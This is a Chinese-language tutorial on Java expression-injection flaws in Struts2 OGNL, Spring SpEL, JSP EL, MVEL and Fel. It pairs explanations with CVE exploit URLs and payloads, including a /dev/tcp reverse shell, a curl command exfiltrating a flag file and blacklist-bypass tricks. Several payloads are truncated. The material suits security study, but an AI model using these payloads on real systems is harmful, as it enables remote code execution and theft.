JAVA表達式注入漏洞


1. Struts2—OGNL

1.1 基本語法

OGNL具有三要素: 表達式、ROOT對象、上下文環境(MAP結構)。處理OGNL的最頂層對象是一個Map對象,通常稱這個Map對象為context map或者context,OGNL的root就在這個context map中,在表達式中可以直接引用oot對象的屬性。

Student rootUser = new Student(1,"tom","JAVA",82); Map<String, Student> context = new HashMap<String, Student>(); context.put("user1",new Student(2,"John","JAVA",78)); context.put("user2",new Student(3,"zhangsan","JAVA",63)); OgnlContext oc = new OgnlContext(); //ognl由root和context兩部分組成 oc.setRoot(rootUser); oc.setValues(context); //get ognl的root的值的時候,直接寫希望獲取的值的名字就可以了 String name = (String) Ognl.getValue("name",oc,oc.getRoot());//tom Integer score = (Integer) Ognl.getValue("score",oc,oc.getRoot());//82 //get ognl非root的值的時候,需要使用# Student name1 = (Student) Ognl.getValue("#context['user1']",oc,oc.getRoot()); String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());//zhangsan Integer score1 = (Integer) Ognl.getValue("#user1.score",oc,oc.getRoot());//78 Integer score2 = (Integer) Ognl.getValue("#user2.score",oc,oc.getRoot());//63 //ognl的getValue函數可以直接執行java函數 Object obj = Ognl.getValue("'helloworld'.length()",oc.getRoot()); //10 //訪問靜態屬性和方法的時候需要使用@ Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('cmd.exe /c start dir')",oc.getRoot());//getValue具有代碼執行能力 //命令執行 OgnlContext context2 = new OgnlContext(); //@[類全名(包括包路徑)]@[方法名|值名] Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context2, context2.getRoot()); Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'open /Applications/Calculator.app/\')\")(glassy)(amadeus)",context,""); 

在Structs中,OGNL的context變成了ActionContext,root變成了valueStack。ActionContext中包含三個常見的作用域request、session、application。

ActionContext AC = ActionContext.getContext(); Map Parameters = (Map)AC.getParameters(); String expression = "${(new java.lang.ProcessBuilder('calc')).start()}"; AC.getValueStack().findValue(expression)); 

1.2 CVE漏洞

(1)s2-001
適用版本:2.0.0 – 2.0.8
漏洞成因:當參數值是形如%{*}的形式的時候,ST2會把這個值當做OGNL表達式去執行。關鍵函數在TextParseUtil.translateVariables
注入點:參數值
payload:

//簡易無回顯 %{

(2)s2-003
適用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:通過構造形如(exp)(a)(b)的形式的表達式,放入ognl.setvalue,最終會將exp帶入ognl.getvalue
注入點:參數名
payload:

http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)

此payload的url未編碼的樣子是:(‘#context[\'xwork.MethodAccessor.denyMethodExecution\']=false’)(a)(b)&(‘@java.lang.Runtime@getRuntime().exec(\’open /Applications/Notes.app/\’)')(a)(b),可以發現把敏感字符(@ = #都寫成了\u00??的形式)轉義繞過acceptableName中設置的黑名單,

(3)s2-005
適用版本:2.0.0 – 2.1.8.1,tomcat版本要求:6.0
漏洞成因:繞過s2-003的補丁,通過ognl表達式,可以對ognl的root、context中的值做任意修改,從而繞過基於定義變量值的補丁
注入點:參數名
payload:

http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(a)(b)&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)

(4)s2-007
適用版本:2.0.0 – 2.2.3
漏洞成因:當對參數做了類型限制,而類型轉換出錯的時候,ST2會把出錯的參數值帶入Ognl.getValue
注入點:參數值
payload:

user.name=glassy&user.age=12&user.birthDay=%27%2b(%23_memberAccess.allowStaticMethodAccess%3dtrue%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%40java.lang.Runtime%40getRuntime().exec(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27))%2b%27&user.email=31312%40qq.com

(5)s2-009
適用版本:2.0.0 – 2.3.1.1,tomcat版本要求:6.0
漏洞成因:繞過s2-003和s2-005,把RCE的位置從參數名改到了參數值

OgnlContext context = new OgnlContext(); Ognl.setValue("password",context,"@java.lang.Runtime@getRuntime().exec('open /Applications/Notes.app/')(glassy)"); Ognl.setValue("a[(password)(glassy)]",context,"true"); 

第一行代碼用於將password-payload的map寫入ognl的root中去,第二行代碼中的a[(password)(glassy)]在AST樹中進行解析的時候按照從右到左,從里到外的順序進行解析,因此優先解析(password)(glassy),password的值在root中有(password-payload),於是解析成了payload(glassy)的形式,然后就是和ST2-003一樣的原理造成了RCE了。
注入點:參數名+參數值
payload:

http://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&z[%28password%29%28meh%29]=true 

(6)s2-012
適用版本:Struts Showcase 2.0.0 – Struts Showcase 2.3.14.2
漏洞成因:計算重定向url的時候會把重定向參數的值放入ognl.getvalue中
注入點:重定向參數
payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "open /Applications/Notes.app/"})).start()} 

這里沒有使用Runtime類而改用了ProcessBuilder類,這個類有一個優勢,它不是靜態類,命令執行的時候調用的start方法也不是靜態方法,不受OgnlValueStack類的allowStaticMethodAccess值的限制。(注意一下,這個poc也要url編碼和S2-001一樣的原因)

(7)s2-013
適用版本:2.0.0 – 2.3.14.1,需要jsp的s:url或者s:a標簽中的includeParams屬性為all或者get
漏洞成因:計算標簽中action路徑的時候,會把參數值帶入ognl.getvalue
注入點:使用特殊s:url或者s:a標簽的action的參數值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start()%7d 

(8)s2-015
適用版本:2.0.0 – 2.3.14.2,使用通配符‘*’來做action映射的時候才能利用成功。和012類似。
漏洞成因:計算重定向url的時候會把action的值放入ognl.getvalue中
注入點: action值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action 

(9)s2-016
適用版本:2.0.0 – 2.3.15
漏洞成因:ST2使用action:或redirect:\redirectAction:作為前綴參數來進行短路導航狀態變化,后面用來跟一個期望的導航目標表達式。和012類似
注入點: action:或redirect:\redirectAction:后面的值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27%2fbin%2fbash%27%2c+%27-c%27%2c%27open+%2fApplications%2fNotes.app%2f%27%7d)).start()%7d 

(10)s2-019
適用版本:2.0.0 – 2.3.15.1,要求ST2開啟開發者模式。
漏洞成因:從debug參數獲取調試模式,如果模式是command,則把expression參數放到stack.findValue中,最終放到了ognl.getValue中。
注入點:debug和expression的參數值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start()

補:s2-020

http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp 

(11)s2-029
適用版本:2.0.0 – 2.3.24.1 (不包括2.3.20.3)
漏洞成因:返回給前端的jsp中的st2標簽的屬性值是形如%{exp}的形式的時候,會把exp放入ognl.getvalue。
注入點:寫入jsp中st2標簽特殊屬性值中的參數值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('open%20/Applications/Notes.app/').getInputStream())) 

(12)s2-032
適用版本:2.3.20 – 2.3.28(2.3.20.3和2.3.24.3除外),要求在struts.xml中將DynamicMethodInvocation設置為true才能利用
漏洞成因:當所有的interceptors調用完成后,計算返回碼的時候,ST2就開始去計算我們最初傳過來的method:后面的值,從而把內容放進了ognl.getValue,造成了RCE。
注入點:method:后的參數值
payload:

http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=/Applications/Notes.app/Contents/MacOS/Notes 

(13)s2-045
適用版本:2.3.5 – 2.3.31, 2.5 – 2.5.10
漏洞成因:上傳組件的問題導致的RCE漏洞,ST2在處理上傳文件出錯的時候且錯誤信息中帶%{exp}的時候,會把exp帶入ognl.getValue
注入點:Content-Type的值
payload:

Content-Type:%{(#glassy='multipart/form-data').(#_memberAccess=

補:s2-046
payload:

Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}" 

(14)s2-048
適用版本:使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本
漏洞成因:ST2處理ST1的action的時候會把ActionMessage的key傳給ognl.getValue
注入點:傳入ActionMessage的key中的參數值
payload:

name=${(#glassy='multipart/form-data').(#_memberAccess=

補:s2-052
反序列化漏洞
payload:

<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map> 

(15)s2-053
適用版本:2.0.0 – 2.3.33 , 2.5 – 2.5.10.1
漏洞成因:計算Freemarker的標簽屬性值的時候會參數的值放入ognl.getvalue中。
注入點:Freemarker的標簽屬性中的參數值
payload:

http://www.glassy.com/Struts2Demo_war_exploded/s2053.action?name=%25%7b(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23a%3d(new+java.lang.ProcessBuilder(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27)).start())%7d 

2. Spring—SPEL

2.1 基本語法

引用其他對象:#{car} 引用其他對象的屬性:#{car.brand} 調用其它方法 , 還可以鏈式操作:#{car.toString()} 屬性名稱引用還可以用$符號 如:${someProperty} 使用T()運算符會調用類作用域的方法和常量。#{T(java.lang.Math)} 

Demo

 //類型表達式 ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"cmd.exe /c start dir\")"); Object value = exp.getValue(); //類實例化 Expression exp2 = parser.parseExpression("new java.util.Date()"); Date value2 = (Date) exp2.getValue(); System.out.println(value2); //Method invocation String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class); System.out.println(c); //variables EvaluationContext context = new StandardEvaluationContext("HC_DU"); context.setVariable("variable", "dudu"); String result1 = parser.parseExpression("#variable").getValue(context, String.class); System.out.println(result1); String result2 = parser.parseExpression("#root").getValue(context, String.class); System.out.println(result2); String result3 = parser.parseExpression("#this").getValue(context, String.class); System.out.println(result3); 

Demo中用到了StandardEvaluationContext

SimpleEvaluationContext - 針對不需要SpEL語言語法的全部范圍並且應該受到有意限制的表達式類別,公開SpEL語言特性和配置選項的子集。
StandardEvaluationContext - 公開全套SpEL語言功能和配置選項。您可以使用它來指定默認的根對象並配置每個可用的評估相關策略

SimpleEvaluationContext旨在僅支持SpEL語言語法的一個子集。它不包括 Java類型引用,構造函數和bean引用。指定正確EvaluationContext,是防止SpEl表達式注入漏洞產生的首選,之前出現過相關的SpEL表達式注入漏洞,其修復方式就是使用SimpleEvaluationContext替代StandardEvaluationContext。

Bean定義

//xml配置 <bean id="numberGuess" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <!-- other properties --> </bean> 
//基於注解的使用 public class EmailSender { @Value("${spring.mail.username}") private String mailUsername; @Value("#{ systemProperties['user.region'] }") private String defaultLocale; //... } 

2.2 常用payload

${12*12} T(java.lang.Runtime).getRuntime().exec("nslookup a.com") T(Thread).sleep(10000) #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com') new java.lang.ProcessBuilder({'nslookup a.com'}).start() T(org.apache.commons.io.IOUtils).toString(payload).getInputStream()) //java9 T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString() 

對關鍵字黑名單過濾繞過的payload
(1)黑名單正則匹配JAVA關鍵詞,如:java.+lang exec.*(等
利用反射構造payload

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime") .getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime") .getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")), new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})} 

利用ScriptEngineManager構造payload

#{T(javax.script.ScriptEngineManager).newInstance()
    .getEngineByName("nashorn")
        .eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}

(2)黑名單過濾.getClass.class..addRole.getPassword.removeRolesession['class']
利用數組方式繞過

''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15] .invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7] .invoke(null),'curl 172.17.0.1:9898') 

(3)命令執行被過濾
采用String類動態生成字符繞過
例如命令為:open /Applications/Calculator.app,寫成new java.lang.String(new byte[]{<ascii value>,<ascii value>,...})或者concat(T(java.lang.Character).toString(<ascii value>))嵌套來繞過

(4)審計常見關鍵詞

org.springframework.expression|parseExpression|getValue|getValueType|value="#{*} 

2.3 CVE漏洞

(1)SpringBoot
影響版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView類

private static class SpelView implements View { private final String template; private final StandardEvaluationContext context = new StandardEvaluationContext(); private PropertyPlaceholderHelper helper; private PlaceholderResolver resolver; public SpelView(String template) { this.template = template; this.context.addPropertyAccessor(new MapAccessor()); this.helper = new PropertyPlaceholderHelper("${", "}"); this.resolver = new ErrorMvcAutoConfiguration.SpelPlaceholderResolver(this.context); } public String getContentType() { return "text/html"; } public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { if(response.getContentType() == null) { response.setContentType(this.getContentType()); } Map<String, Object> map = new HashMap(model); map.put("path", request.getContextPath()); this.context.setRootObject(map); String result = this.helper.replacePlaceholders(this.template, this.resolver); response.getWriter().append(result); } } public String resolvePlaceholder(String name) { Expression expression = this.parser.parseExpression(name); try { Object value = expression.getValue(this.context); return HtmlUtils.htmlEscape(value == null?null:value.toString()); } catch (Exception var4) { return null; } } 

(2)Spring Data Commons遠程代碼執行漏洞(CVE-2018-1273)
影響版本:1.13-1.13.10、2.0-2.0.5

 
漏洞補丁

漏洞代碼:

private static class MapPropertyAccessor extends AbstractPropertyAccessor { public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException { if (!this.isWritableProperty(propertyName)) { throw new NotWritablePropertyException(this.type, propertyName); } else { StandardEvaluationContext context = new StandardEvaluationContext(); context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService)); context.setTypeConverter(new StandardTypeConverter(this.conversionService)); context.setRootObject(this.map); Expression expression = PARSER.parseExpression(propertyName); PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty(); TypeInformation<?> owningType = leafProperty.getOwningType(); TypeInformation<?> propertyType = leafProperty.getTypeInformation(); propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType; if (propertyType != null && this.conversionRequired(value, propertyType.getType())) { PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment()); if (descriptor == null) { throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType())); } MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1); TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0); if (typeDescriptor == null) { throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter)); } value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor); } expression.setValue(context, value); } } 

下面的代碼導致普通的類表達式payload無法觸發成功,需要用JAVA反射機制繞過。

context.setTypeLocator(typeName -> { throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName); }); 

payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open /Applications/Calculator.app")]=ruilin&password=ruilin&repeatedPassword=ruilin 
 
payload

(3)Spring Messageing遠程命令執行漏洞(CVE-2018-1270)
影響版本:Spring Framework 5.0 to 5.0.4、Spring Framework 4.3 to 4.3.14或更老版本。
spring messaging為spring框架提供消息支持,其上層協議是STOMP,底層通信基於SockJS。STOMP包含協議CONNECT連接、SEND發送、SUBSCRIBE訂閱、UNSUBSCRIBE退訂、BEGIN開始、COMMIT提交、ABORT取消、ACK確認、NACK負響應、DISCONNECT斷開

 
STOMP

 

app.js中的代碼建立Websocket連接,

var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"}; ... stompClient.subscribe('/topic/greetings', function (greeting) { showGreeting(JSON.parse(greeting.body).content); },header); 

selector本身用於對訂閱信息進行過濾,header參數的接收和處理函數如下

protected void addSubscriptionInternal( String sessionId, String subsId, String destination, Message<?> message Expression expression = null; MessageHeaders headers = message.getHeaders(); String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers); if (selector != null) { try { expression = this.expressionParser.parseExpression(selector); this.selectorHeaderInUse = true; if (logger.isTraceEnabled()) { logger.trace("Subscription selector: [" + selector + "]"); } } catch (Throwable ex) { if (logger.isDebugEnabled()) { logger.debug("Failed to parse selector: " + selector, ex); } } } this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression); this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId); } ... Expression expression = sub.getSelectorExpression(); if(expression==null){ result.add(sessionId,subId); } else{ if(context==null){ context=new StandardEvaluationContext(message); context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccess) } try { if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) { result.add(sessionId, subId); } } } 
 
payload

3. JSP—JSTL_EL

3.1 基本語法

序號 隱含對象名稱       描述
1 pageContext 對應於JSP頁面中的pageContext對象(注意:取的是pageContext對象。) 2 pageScope 代表page域中用於保存屬性的Map對象 3 requestScope 代表request域中用於保存屬性的Map對象 4 sessionScope 代表session域中用於保存屬性的Map對象 5 applicationScope 代表application域中用於保存屬性的Map對象 6 param 表示一個保存了所有請求參數的Map對象 7 paramValues 表示一個保存了所有請求參數的Map對象,它對於某個請求參數,返回的是一個string[] 8 header 表示一個保存了所有http請求頭字段的Map對象,注意:如果頭里面有“-” ,例Accept-Encoding,則要header[“Accept-Encoding”] 9 headerValues 表示一個保存了所有http請求頭字段的Map對象,它對於某個請求參數,返回的是一個string[]數組。注意:如果頭里面有“-” ,例Accept-Encoding,則要headerValues[“Accept-Encoding”] 10 cookie 表示一個保存了所有cookie的Map對象 11 initParam 表示一個保存了所有web應用初始化參數的map對象 
<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"> </spring:message> 

3.2 CVE-2011-2730

<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message> 

http://localhost/XXX.jsp?a=${applicationScope}

容器第一次執行EL表達式${param.a}獲得了我們輸入的${applicationScope},然后Spring標簽獲取容器的EL表達式求值對象,把${applicationScope}再次執行掉,形成了漏洞。

4. Elasticsearch—MVEL

4.1 基本語法

MVEL表達式執行方法有兩種模式:解釋模式和編譯模式

<dependency> <groupId>org.mvel</groupId> <artifactId>mvel2</artifactId> <version>2.4.4.Final</version> </dependency> 

解釋模式:

String expression = "foobar > 99"; Map vars = new HashMap(); vars.put("foobar", new Integer(100)); //vars={foobar=100} Boolean result = (Boolean) MVEL.eval(expression, vars); //result=true if (result.booleanValue()) { System.out.println("It works!"); } 

編譯模式:

String expression = "foobar > 99"; // Compile the expression. Serializable compiled = MVEL.compileExpression(expression); Map vars = new HashMap(); vars.put("foobar", new Integer(100)); // Now we execute it. Boolean result = (Boolean) MVEL.executeExpression(compiled, vars); if (result.booleanValue()) { System.out.println("It works!"); } 

比解釋模式多了一步編譯MVEL.compileExpression,並且在執行時不是MVEL.eval而是MVEL.executeExpression
用解釋模式下注入demo如下

java import org.mvel.MVEL; public class MVELTest { public static void main(String[] args) { String expression = "new java.lang.ProcessBuilder(/"calc/").start();"; Boolean result = (Boolean) MVEL.eval(expression, vars); } } 

在ElasticSearch中MVEL的執行模式如下

String str = "a=123"; String exp = ";new java.lang.ProcessBuilder(\"calc\").start();"; MapVariableResolverFactory resolver = new MapVariableResolverFactory(new HashMap()); ExecutableStatement script = (ExecutableStatement) MVEL.compileExpression(str+exp); script.getValue(null,resolver); 

4.2 CVE-2014-3120

payload

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();
 
創建數據
 
代碼執行

4.3 常見關鍵詞

org.mvel2.MVEL.eval org.mvel2.MVELInterpretedRuntime.parse org.mvel2.ast.ASTNode.getReducedValue org.mvel2.PropertyAccessor.get org.mvel2.MVEL.execute org.mvel2.compiler.ExecutableStatement.getValue org.mvel2.compiler.ExecutableAccesso org.mvel2.ast.NewObjectNode.getReducedValueAccelerated org.mvel2.optimizers.AccessorOptimizer|org.mvel2.optimizers.dynamic.DynamicOptimizer.optimizeObjectCreation 

5. Primefaces框架表達式注入

驗證(代碼):
${facesContext.getExternalContext().getResponse().getWriter().println("~~~elinject~~~")}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}
加密的Payload:
uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5+OpbBXfBSKlTh7gJWI1HR5e/f4ZjcLzobfbDkQghTWQVAXvhdUc8D7M8Nnr+gSpk0we/YPtcrOOmI+/uuxl31mfOtFvEWGE3AUZFGxpmyfyMuGL0rzVw3wUpjUlHw4k3O4pm1RrCJT/PxEtCs00U9EBM2okSaAdPIn9p9G5X3lwi6lN7MXvoBhoFVy+31JzmoVeaZattVJhqvZRs1fguZGDCqQaJe+c6rQmcZWEKQg==
Web路徑:
${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getServletContext().getRealPath(/"//"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}

6. Fel

配置

    <dependency> <groupId>org.eweb4j</groupId> <artifactId>fel</artifactId> <version>0.8</version> </dependency> 

常見用法

//算數表達式 FelEngine fel = new FelEngineImpl(); Object result = fel.eval("$('Math').min(1,2)"); System.out.println(result); // Object resultfel = fel.eval("$(ognl.Ognl).getValue(\"@java.lang.Runtime@getRuntime().exec('cmd.exe /c start dir')\",null)"); //變量用法 FelEngine fel2 = new FelEngineImpl(); FelContext ctx2 = fel2.getContext(); ctx2.set("單價", 1.5); ctx2.set("數量", 1); ctx2.set("運費", 75); Object result2 = fel2.eval("單價*數量+運費"); System.out.println(result2); //訪問對象用法 FelEngine fel3 = new FelEngineImpl(); FelContext ctx3 = fel.getContext(); Student user = new Student(1, "zhangsan", "JAVA",89); ctx3.set("user", user); Map<String, String> map = new HashMap<String, String>(); map.put("name", "wangwu"); ctx3.set("map", map); // 調用user.getName()方法。 System.out.println(fel.eval("user.name")); // map.name會調用map.get("name"); System.out.println(fel.eval("map.name"));





免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM